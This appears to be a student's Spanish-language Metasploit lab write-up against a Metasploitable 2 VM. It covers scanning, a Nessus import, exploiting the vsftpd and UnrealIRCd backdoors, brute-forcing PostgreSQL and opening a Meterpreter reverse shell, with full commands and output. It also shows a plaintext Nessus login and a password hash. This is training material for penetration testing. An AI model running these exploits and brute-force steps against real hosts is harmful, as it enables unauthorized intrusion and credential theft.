

EJERCICIOS METASPLOIT AVANZADO II

Prerrequisitos

- Kali linux
- Metaexploitable 2

Ejercicio 1 – Metasploit

- Crear un workspace de trabajo llamado "metasploitable2".

```
[*] Starting persistent handler(s) ...
msf6 > workspace
  VERO
  metasploitable
  windowsploitable
* default
msf6 > workspace -a metasploitable2
[*] Added workspace: metasploitable2
[*] Workspace: metasploitable2
msf6 > 
```

- Cambiar al workspace de trabajo recién creado.

```
msf6 > workspace
  VERO
  default
  metasploitable
  windowsploitable
* metasploitable2
```

- Realizar las siguientes operaciones en el workspace, comprobando las entradas en la base de datos del Workspace (comandos hosts, services, vulns, notes, creds...).

```
msf6 > workspace -v

Workspaces
=====
```

current	name	hosts	services	vulns	creds	loots	notes
	windowsploitable	0	0	0	0	0	0
	default	6	40	1	0	0	13
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
*	metasploitable2	0	0	0	0	0	0

- Realizar un escaneo de puertos contra la máquina utilizando db_nmap.

```
msf6 > db_nmap -sV 10.0.2.8 -T 5
[*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-23 19:43 CET
[*] Nmap: Nmap scan report for 10.0.2.8
[*] Nmap: Host is up (0.00021s latency).
[*] Nmap: Not shown: 977 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 21/tcp    open  ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp    open  telnet       Linux telnetd
[*] Nmap: 25/tcp    open  smtp         Postfix smtpd
[*] Nmap: 53/tcp    open  domain       ISC BIND 9.4.2
[*] Nmap: 80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp   open  rpcbind      2 (RPC #100000)
[*] Nmap: 139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp   open  exec         netkit-rsh rexecd
[*] Nmap: 513/tcp   open  login
[*] Nmap: 514/tcp   open  tcpwrapped
[*] Nmap: 1099/tcp  open  java-rmi     GNU Classpath grmiregistry
[*] Nmap: 1524/tcp  open  bindshell    Metasploitable root shell
[*] Nmap: 2049/tcp  open  nfs          2-4 (RPC #100003)
[*] Nmap: 2121/tcp  open  ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp  open  vnc          VNC (protocol 3.3)
[*] Nmap: 6000/tcp  open  X11          (access denied)
[*] Nmap: 6667/tcp  open  irc          UnrealIRCd
[*] Nmap: 8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 08:00:27:7B:5D:38 (Oracle VirtualBox virtual NIC)
[*] Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.68 seconds
```

- Importar un informe Nessus de la máquina en Metasploit.

meta2

← Back to All Scans

Hosts 1 Vulnerabilities 69 Remediations 3 VPR Top Threats 1 History 1

Filter Search Hosts 1 Host

Host	Vulnerabilities
10.0.2.8	13 Critical, 7 High, 27 Medium, 5 Low, 132 Info

Scan Details

Policy: Basic Network Scan
 Status: Completed
 Severity Base: CVSS v3.0
 Scanner: Local Scanner
 Start: Today at 7:50 PM
 End: Today at 8:09 PM
 Elapsed: 19 minutes

Vulnerabilities

Critical High Medium Low Info

```
msf6 > load nessus
[*] Nessus Bridge for Metasploit
[*] Type nessus_help for a command listing
[*] Successfully loaded plugin: Nessus
msf6 >
```

```
msf6 > nessus_connect ash75:vero1995@127.0.0.1:8834
[*] Connecting to https://127.0.0.1:8834/ as ash75
[*] User ash75 authenticated successfully.
```

```

(root@kali)-[~]
└─$ msfconsole -q
[*] Starting persistent handler(s)...
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > load nessus
[*] Nessus Bridge for Metasploit
[*] Type nessus_help for a command listing
[*] Successfully loaded plugin: Nessus
msf6 > ls
[*] exec: ls

com.apple.eawt 'com.apple.eawt.*' hydra.txt LEDGER.txt 'man in the middle 1.pcap' mutillidae-docker NODE node_modules package.json package-lock.json sql.txt veronica
msf6 > workspace
VERO
metasploitable
metasploitable2
windowsploitable
* default
msf6 > workspace metasploitable2
[*] Workspace: metasploitable2
msf6 > workspace -v

Workspaces
=====

```

current	name	hosts	services	vulns	creds	loots	notes
	windowsploitable	0	0	0	0	0	0
	default	6	40	1	0	0	13
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
*	metasploitable2	1	23	0	0	0	1

```

msf6 > nessus_connect ash75:vero1995@127.0.0.1:8834
[*] Connecting to https://127.0.0.1:8834/ as ash75
[*] User ash75 authenticated successfully.
msf6 > nessus_help

```

```

msf6 > nessus_db_import
[*] Usage:
[*] nessus_db_import <scan ID>
[*] Example:> nessus_db_import 500
[*] Use nessus_scan_list -c to list all completed scans
[-] Only completed scans could be used for import
msf6 > nessus_scan_list -c
Scan ID  Name  Owner  Started  Status  Folder
-----  -
34      meta2  ash75  completed  3

msf6 > nessus_db_import 34
[*] Exporting scan ID 34 is Nessus format...
[+] The export file ID for scan ID 34 is 1389983296
[*] Checking export status...
[*] Export status: loading
[*] Export status: ready
[*] The status of scan ID 34 export is ready
[*] Importing scan results to the database...
[*] Importing data of 10.0.2.8
[+] Done
msf6 >

```

Workspaces

current	name	hosts	services	vulns	creds	loots	notes
	windowsploitable	0	0	0	0	0	0
	default	6	40	1	0	0	13
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
*	metasploitable2	1	36	183	0	0	2

```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set rhosts 10.0.2.8
```

```
rhosts => 10.0.2.8
```

```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set username root
```

```
username => root
```

```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > options
```

Module options (auxiliary/scanner/mysql/mysql_hashdump):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	3306	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	root	no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

current	name	hosts	services	vulns	creds	loots	notes
	windowsploitable	0	0	0	0	0	0
	default	6	40	1	0	0	13
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
*	metasploitable2	1	36	183	3	0	2

Credentials

host	origin	service	public	private	realm	private_type	JtR Format
10.0.2.8	10.0.2.8	3306/tcp (mysql)	guest			Blank password	
10.0.2.8	10.0.2.8	3306/tcp (mysql)	debian-sys-maint			Blank password	
10.0.2.8	10.0.2.8	3306/tcp (mysql)	root			Blank password	

Ejercicio 2 – Metasploit

- Explotar los backdoors de las versiones instaladas de Vsftpd y UnrealIRCd

```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > search Vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 auxiliary(scanner/mysql/mysql_hashdump) > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/interact               normal         No      Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.0.2.8:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 10.0.2.8:21 - USER: 331 Please specify the password.
[*] 10.0.2.8:21 - Backdoor service has been spawned, handling ...
[*] 10.0.2.8:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:43891 -> 10.0.2.8:6200) at 2023-01-23 22:38:20 +0100

ls
OmV}
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > search UnrealIRCD
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/irc/unreal_ircd_3281_backdoor	2010-06-12	excellent	No	UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `exploit/unix/irc/unreal_ircd_3281_backdoor`

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use 0
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	6667	yes	The target port (TCP)

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_perl		normal	No	Unix Command Shell, Bind TCP (via Perl)
1	payload/cmd/unix/bind_perl_ipv6		normal	No	Unix Command Shell, Bind TCP (via perl) IPv6
2	payload/cmd/unix/bind_ruby		normal	No	Unix Command Shell, Bind TCP (via Ruby)
3	payload/cmd/unix/bind_ruby_ipv6		normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
4	payload/cmd/unix/generic		normal	No	Unix Command, Generic Command Execution
5	payload/cmd/unix/reverse		normal	No	Unix Command Shell, Double Reverse TCP (telnet)
6	payload/cmd/unix/reverse_bash_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
7	payload/cmd/unix/reverse_perl		normal	No	Unix Command Shell, Reverse TCP (via Perl)
8	payload/cmd/unix/reverse_perl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
9	payload/cmd/unix/reverse_ruby		normal	No	Unix Command Shell, Reverse TCP (via Ruby)
10	payload/cmd/unix/reverse_ruby_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
11	payload/cmd/unix/reverse_ssl_double_telnet		normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
```

```
payload => cmd/unix/reverse
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	6667	yes	The target port (TCP)

Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] 10.0.2.8:6667 - Connected to 10.0.2.8:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 10.0.2.8:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo Cd0gsQMUNs6qZeaA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "Cd0gsQMUNs6qZeaA\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 2 opened (10.0.2.15:4444 -> 10.0.2.8:38412) at 2023-01-23 22:46:15 +0100
```

```
ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
shell
```

Ejercicio 3 – Metasploit

- Realizar un ataque de fuerza bruta con los módulos auxiliares correspondientes para conseguir las credenciales de acceso de PostgreSQL y explotarlo para conseguir acceso a la máquina con meterpreter, ¿qué usuario tenemos?

NOTA: Utilizar los diccionarios disponibles en Kali en la ruta /usr/share/wordlists/metasploit/ y tened en cuenta en las opciones que tanto usuario como contraseña pueden estar en blanco

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > search postgres
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
-	-				
0	auxiliary/server/capture/postgresql		normal	No	Authentication Capture: PostgreSQL
1	post/linux/gather/enum_users_history		normal	No	Linux Gather User History
2	exploit/multi/http/manage_engine_dc_pmp_sqli	2014-06-08	excellent	Yes	ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3	exploit/windows/misc/manageengine_eventlog_analyzer_rce	2015-07-11	manual	Yes	ManageEngine EventLog Analyzer Remote Code Execution
4	auxiliary/admin/http/manageengine_pmp_privesc	2014-11-08	normal	Yes	ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
5	auxiliary/analyze/crack_databases		normal	No	Password Cracker: Databases
6	exploit/multi/postgres/postgres_copy_from_program_cmd_exec	2019-03-20	excellent	Yes	PostgreSQL COPY FROM PROGRAM Command Execution
7	exploit/multi/postgres/postgres_createlang	2016-01-01	good	Yes	PostgreSQL CREATE LANGUAGE Execution
8	auxiliary/scanner/postgres/postgres_dbname_flag_injection		normal	No	PostgreSQL Database Name Command Line Flag Injection
9	auxiliary/scanner/postgres/postgres_login		normal	No	PostgreSQL Login Utility
10	auxiliary/admin/postgres/postgres_readfile		normal	No	PostgreSQL Server Generic Query
11	auxiliary/admin/postgres/postgres_sql		normal	No	PostgreSQL Server Generic Query
12	auxiliary/scanner/postgres/postgres_version		normal	No	PostgreSQL Version Probe
13	exploit/linux/postgres/postgres_payload	2007-06-05	excellent	Yes	PostgreSQL for Linux Payload Execution
14	exploit/windows/postgres/postgres_payload	2009-04-10	excellent	Yes	PostgreSQL for Microsoft Windows Payload Execution
15	auxiliary/scanner/postgres/postgres_hashdump		normal	No	Postgres Password Hashdump
16	auxiliary/scanner/postgres/postgres_schemadump		normal	No	Postgres Schema Dump
17	auxiliary/admin/http/rails_devise_pass_reset	2013-01-28	normal	No	Ruby on Rails Devise Authentication Password Reset
18	post/linux/gather/vcenter_secrets_dump	2022-04-15	normal	No	VMware vCenter Secrets Dump

Interact with a module by name or index. For example `info 18`, `use 18` or `use post/linux/gather/vcenter_secrets_dump`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use 9
```

```
msf6 auxiliary(scanner/postgres/postgres_login) >
```



```
msf6 auxiliary(scanner/postgres/postgres_login) > options
```

Module options (auxiliary/scanner/postgres/postgres_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DATABASE	template1	yes	The database to authenticate against
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RETURN_ROWSET	true	no	Set to true to see query result sets
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5432	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE	/usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt	no	File containing (space-separated) users and passwords, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	/usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt	no	File containing users, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

Activar

```
msf6 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
```

```
msf6 auxiliary(scanner/postgres/postgres_login) > set userpass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt
userpass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt
```

```
msf6 auxiliary(scanner/postgres/postgres_login) > exploit
```

```
[*] 10.0.2.8:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.0.2.8:5432 - Login Successful: postgres:postgres@template1
[*] 10.0.2.8:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[*] 10.0.2.8:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/postgres/postgres_login) > search postgres
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/postgresql		normal	No	Authentication Capture: PostgreSQL
1	post/linux/gather/enum_users_history		normal	No	Linux Gather User History
2	exploit/multi/http/manage_engine_dc_pmp_sqli	2014-06-08	excellent	Yes	ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3	exploit/windows/misc/manageengine_eventlog_analyzer_rce	2015-07-11	manual	Yes	ManageEngine EventLog Analyzer Remote Code Execution
4	auxiliary/admin/http/manageengine_pmp_privesc	2014-11-08	normal	Yes	ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
5	auxiliary/analyze/crack_databases		normal	No	Password Cracker: Databases
6	exploit/multi/postgres/postgres_copy_from_program_cmd_exec	2019-03-20	excellent	Yes	PostgreSQL COPY FROM PROGRAM Command Execution
7	exploit/multi/postgres/postgres_createlang	2016-01-01	good	Yes	PostgreSQL CREATE LANGUAGE Execution
8	auxiliary/scanner/postgres/postgres_dbname_flag_injection		normal	No	PostgreSQL Database Name Command Line Flag Injection
9	auxiliary/scanner/postgres/postgres_login		normal	No	PostgreSQL Login Utility
10	auxiliary/admin/postgres/postgres_readfile		normal	No	PostgreSQL Server Generic Query
11	auxiliary/admin/postgres/postgres_sql		normal	No	PostgreSQL Server Generic Query
12	auxiliary/scanner/postgres/postgres_version		normal	No	PostgreSQL Version Probe
13	exploit/linux/postgres/postgres_payload	2007-06-05	excellent	Yes	PostgreSQL for Linux Payload Execution
14	exploit/windows/postgres/postgres_payload	2009-04-10	excellent	Yes	PostgreSQL for Microsoft Windows Payload Execution
15	auxiliary/scanner/postgres/postgres_hashdump		normal	No	Postgres Password Hashdump
16	auxiliary/scanner/postgres/postgres_schemadump		normal	No	Postgres Schema Dump
17	auxiliary/admin/http/rails_devise_pass_reset	2013-01-28	normal	No	Ruby on Rails Devise Authentication Password Reset
18	post/linux/gather/vcenter_secrets_dump	2022-04-15	normal	No	VMware vCenter Secrets Dump

Interact with a module by name or index. For example `info 18`, use `18` or use `post/linux/gather/vcenter_secrets_dump`

```
msf6 auxiliary(scanner/postgres/postgres_login) > use 13
```

```
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
```

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
```

```
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 10.0.2.8
```

```
rhosts => 10.0.2.8
```

```
msf6 exploit(linux/postgres/postgres_payload) > options
```

Module options (exploit/linux/postgres/postgres_payload):

Name	Current Setting	Required	Description
DATABASE	template1	yes	The database to authenticate against
PASSWORD	postgres	no	The password for the specified username. Leave blank for a random password.
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5432	yes	The target port
USERNAME	postgres	yes	The username to authenticate as
VERBOSE	false	no	Enable verbose output

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Linux x86

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.8:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/MLDtazYS.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 10.0.2.8
[*] Meterpreter session 3 opened (10.0.2.15:4444 → 10.0.2.8:38031) at 2023-01-23 23:17:15 +0100
```

```
meterpreter > getuid
Server username: postgres
meterpreter > █
```

```
(root@kali)-[~]
# msfconsole -q
msf6 > search auxiliary/scanner/postgres/postgres_hashdump
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/postgres/postgres_hashdump		normal	No	Postgres Password Hashdump

Interact with a module by name or index. For example `info 0`, use `0` or use `auxiliary/scanner/postgres/postgres_hashdump`

```
msf6 > use 0
msf6 auxiliary(scanner/postgres/postgres_hashdump) > workspace
OWASP
VERO
android
metasploitable
metasploitable2
windowsploitable
* default
msf6 auxiliary(scanner/postgres/postgres_hashdump) > workspace metasploitable2
[*] Workspace: metasploitable2
msf6 auxiliary(scanner/postgres/postgres_hashdump) > workspace -v
```

Workspaces

current	name	hosts	services	vulns	creds	loots	notes
*	windowsploitable	0	0	0	0	0	0
	default	8	41	5	0	0	18
	VERO	8	41	0	3	0	12
	metasploitable	1	2	0	8	0	0
	metasploitable2	1	36	185	5	0	3
	OWASP	1	1	0	4	0	1
	android	0	0	0	2	0	0

```
msf6 auxiliary(scanner/postgres/postgres_hashdump) > creds add user:vero postgres:md5be86a79bf2043622d58d5453c47d4860
msf6 auxiliary(scanner/postgres/postgres_hashdump) > creds
Credentials
```

host	origin	service	public	private	realm	private_type	JtR Format
10.0.2.8	10.0.2.8	5432/tcp (postgres)	vero	md5be86a79bf2043622d58d5453c47d4860	template1	Postgres md5	raw-md5,postgres
10.0.2.8	10.0.2.8	5900/tcp (vnc)	postgres	postgres		Password	
10.0.2.8	10.0.2.8	3306/tcp (mysql)	guest	password		Password	
10.0.2.8	10.0.2.8	3306/tcp (mysql)	debian-sys-maint			Blank password	
10.0.2.8	10.0.2.8	3306/tcp (mysql)	root			Blank password	

```
msf6 auxiliary(scanner/postgres/postgres_hashdump) > psql -h 10.0.2.8 -U postgres
[*] exec: psql -h 10.0.2.8 -U postgres
```

```
Contraseña para usuario postgres:
psql (15.1 (Debian 15.1-1+b1), servidor 8.3.1)
ADVERTENCIA: psql versión mayor 15, servidor versión mayor 8.3.
Algunas características de psql podrían no funcionar.
Digite «help» para obtener ayuda.
```

```
postgres=#
postgres=# exit
```

```
msf6 exploit(linux/postgres/postgres_payload) > set rhost 10.0.2.8
rhost => 10.0.2.8
msf6 exploit(linux/postgres/postgres_payload) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf6 exploit(linux/postgres/postgres_payload) > options
```

Module options (exploit/linux/postgres/postgres_payload):

Name	Current Setting	Required	Description
DATABASE	template1	yes	The database to authenticate against
PASSWORD	postgres	no	The password for the specified username. Leave blank for a random password.
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5432	yes	The target port
USERNAME	postgres	yes	The username to authenticate as
VERBOSE	false	no	Enable verbose output

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Linux x86

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.8:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/wglkEjIl.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 10.0.2.8
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.8:36230) at 2023-01-24 22:04:50 +0100
```

```
meterpreter > getuif
```

```
[-] Unknown command: getuif
```

```
meterpreter > getuid
```

```
Server username: postgres
```

Ejercicio 4 – Metasploit

- Realizar un ataque de fuerza bruta con los módulos auxiliares correspondientes para conseguir las credenciales de acceso de MySQL y VNC Server.

NOTA: Utilizar los diccionarios disponibles en Kali en la ruta `/usr/share/wordlists/metasploit/` y tener en cuenta en las opciones que tanto usuario como contraseña pueden estar en blanco.

```
msf6 exploit(tlinux/postgres/postgres_payload) > search mysql
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/http/advantech_iview_networkservlet_cmd_inject	2022-06-28	excellent	Yes	Advantech iView NetworkServlet Command Injection
1	auxiliary/server/cap		normal	No	Authentication Capture: MySQL
2	exploit/windows/http/cayin_xpost_sql_rce	2020-06-04	excellent	Yes	Cayin xPost wayfinder_send SQLi to RCE
3	auxiliary/gather/joomla_weblinks_sql	2014-03-02	normal	Yes	Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
4	exploit/unix/webapp/kinmai_sql	2013-05-21	average	Yes	Kinmai v0.9.2 'db_restore.php' SQL Injection
5	exploit/linux/http/librenms_collected_cmd_inject	2019-07-15	excellent	Yes	LibreNMS Collected Command Injection
6	post/linux/gather/enum_configs		normal	No	Linux Gather Configurations
7	post/linux/gather/enum_users_history		normal	No	Linux Gather User History
8	auxiliary/scanner/mysql/mysql_writable_dirs		normal	No	MySQL Directory Write Test
9	auxiliary/scanner/mysql/mysql_file_enum		normal	No	MySQL File/Directory Enumerator
10	auxiliary/scanner/mysql/mysql_hashdump		normal	No	MySQL Password Hashdump
11	auxiliary/scanner/mysql/mysql_schemadump		normal	No	MySQL Schema Dump
12	exploit/multi/http/manage_engine_dc_pmp_sql	2014-06-08	excellent	Yes	ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
13	auxiliary/admin/http/manageengine_pmp_privesc	2014-11-08	normal	Yes	ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
14	post/multi/manage/dbvisi_add_db_admin		normal	No	Multi Manage Dbvisualizer Add Db Admin
15	auxiliary/scanner/mysql/mysql_authbypass_hashdump	2012-06-09	normal	No	MySQL Authentication Bypass Password Dump
16	auxiliary/admin/mysql/mysql_enum		normal	No	MySQL Enumeration Module
